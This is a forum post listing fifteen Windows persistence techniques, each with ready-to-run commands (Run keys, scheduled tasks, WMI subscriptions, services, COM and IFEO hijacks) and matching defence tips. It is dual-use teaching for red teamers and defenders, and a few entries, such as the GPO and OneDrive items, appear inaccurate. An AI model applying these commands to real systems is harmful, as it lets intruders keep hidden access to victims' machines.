Persistence in Windows (2025 Edition)
15 Techniques Attackers Still Abuse
15 Techniques Attackers Still Abuse
Introduction
Persistence = staying on a machine even after reboot or user logoff.
Attackers, malware, and red teamers all rely on persistence to maintain access.
In this thread we’ll explore 15 persistence techniques, with commands, red team notes, and defense strategies.
![[Image: 3g70tlJ.gif]](https://i.imgur.com/3g70tlJ.gif)
1. Registry Run Keys
Description: Classic technique — executables run at startup.
Examples:
Code
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /t REG_SZ /d "C:\malware.exe"Code
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /fRed Team Use: Simple persistence for user-level malware.
Defense: Monitor registry Run keys (Sysmon Event ID 13).
2. Scheduled Tasks
Description: Task Scheduler can auto-run malware at intervals.
Examples:
Code
schtasks /create /sc onlogon /tn EvilTask /tr "C:\payload.exe"Code
schtasks /query /fo LIST /vRed Team Use: Stable persistence across reboots.
Defense: Audit scheduled task creation (Event ID 4698).
3. WMI Event Subscriptions
Description: Abusing WMI to run code when triggers fire.
Examples (PowerShell):
Code
Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'" -Action {Start-Process "C:\payload.exe"}Red Team Use: Fileless persistence that survives reboots.
Defense: Monitor WMI permanent event subscriptions.
4. Startup Folder
Description: Dropping shortcuts in Startup folder runs apps on login.
Examples:
Code
copy C:\payload.lnk "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"Red Team Use: Easy user-level persistence.
Defense: Monitor Startup folder for new files.
5. Services (sc.exe)
Description: Create or hijack Windows services.
Examples:
Code
sc create EvilService binPath= "C:\malware.exe" start= autoCode
sc config TrustedService binPath= "C:\evil.exe"Red Team Use: Long-term persistence with SYSTEM privileges.
Defense: Alert on new/modified services.
6. DLL Search Order Hijacking
Description: Drop malicious DLLs in directories searched before system paths.
Example:
Code
copy evil.dll C:\Program Files\VulnerableApp\Red Team Use: Hijack legitimate apps silently.
Defense: Use Sysinternals ProcMon to detect unusual DLL loads.
7. COM Hijacking
Description: Replace or register malicious COM objects.
Example:
Code
reg add HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32 /ve /t REG_SZ /d C:\malicious.dll /fRed Team Use: Stealthy persistence across reboots.
Defense: Monitor registry for COM hijack attempts.
8. AppInit DLLs
Description: Force Windows to load DLLs into every process.
Example:
Code
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d evil.dllRed Team Use: Code injection into multiple apps.
Defense: Monitor AppInit_DLLs registry key.
9. Winlogon Shell / Userinit Keys
Description: Modify Winlogon registry for persistence.
Example:
Code
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\evil.exe, userinit.exe"Red Team Use: Malware launches before user session starts.
Defense: Monitor Winlogon registry keys.
10. Office Add-ins
Description: Malicious add-ins for Word/Excel.
Example:
Code
copy evil.xll "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\AddIns\"Red Team Use: Persist via Office execution.
Defense: Audit add-ins folder for unknown files.
11. Image File Execution Options (IFEO)
Description: Registry debugger trick.
Example:
Code
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\evil.exe"Red Team Use: Replace legit programs with malware.
Defense: Monitor IFEO registry changes.
12. LNK Shortcut Hijacking
Description: Replace common app shortcuts with malicious ones.
Example:
Code
copy evil.lnk "C:\Users\Public\Desktop\Notepad.lnk"Red Team Use: Social engineering persistence.
Defense: Verify shortcut targets regularly.
13. Logon Scripts (GPO Abuse)
Description: Add logon scripts via Group Policy.
Example (domain):
Code
net user victim /scriptpath:evil.batRed Team Use: Domain persistence through GPO.
Defense: Audit GPO for unexpected script paths.
14. Browser Extensions
Description: Malicious extensions in Edge/Chrome/Firefox.
Example:
Code
copy evil_extension "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Extensions"Red Team Use: Persistence through browsers.
Defense: Monitor browser extension directories.
15. OneDrive / Teams Abuse
Description: Abuse sync apps to re-drop payloads.
Example:
Code
copy evil.exe "C:\Users\%USERNAME%\OneDrive\Startup\"Red Team Use: Cloud-sync persistence, re-drops on login.
Defense: Monitor synced startup paths.
![[Image: 3g70tlJ.gif]](https://i.imgur.com/3g70tlJ.gif)
Defense Tips
- Collect Sysmon logs for registry, process, and task creation events.
- Restrict write access to autostart locations.
- Audit services, scheduled tasks, and GPOs regularly.
- Hunt for persistence attempts after phishing or initial access.
Conclusion
Persistence ensures attackers stay inside your network.
Knowing these techniques helps red teamers build stealth and defenders hunt effectively.
Discussion:
Which persistence trick do you think is the hardest to detect in 2025?
Have you seen creative persistence in your own labs? Let’s talk below.


![[Image: 9428137.gif]](https://i.postimg.cc/Ghyw1KPs/9428137.gif)


![[Image: fallen.gif]](https://i.ibb.co/582S7VD/fallen.gif)

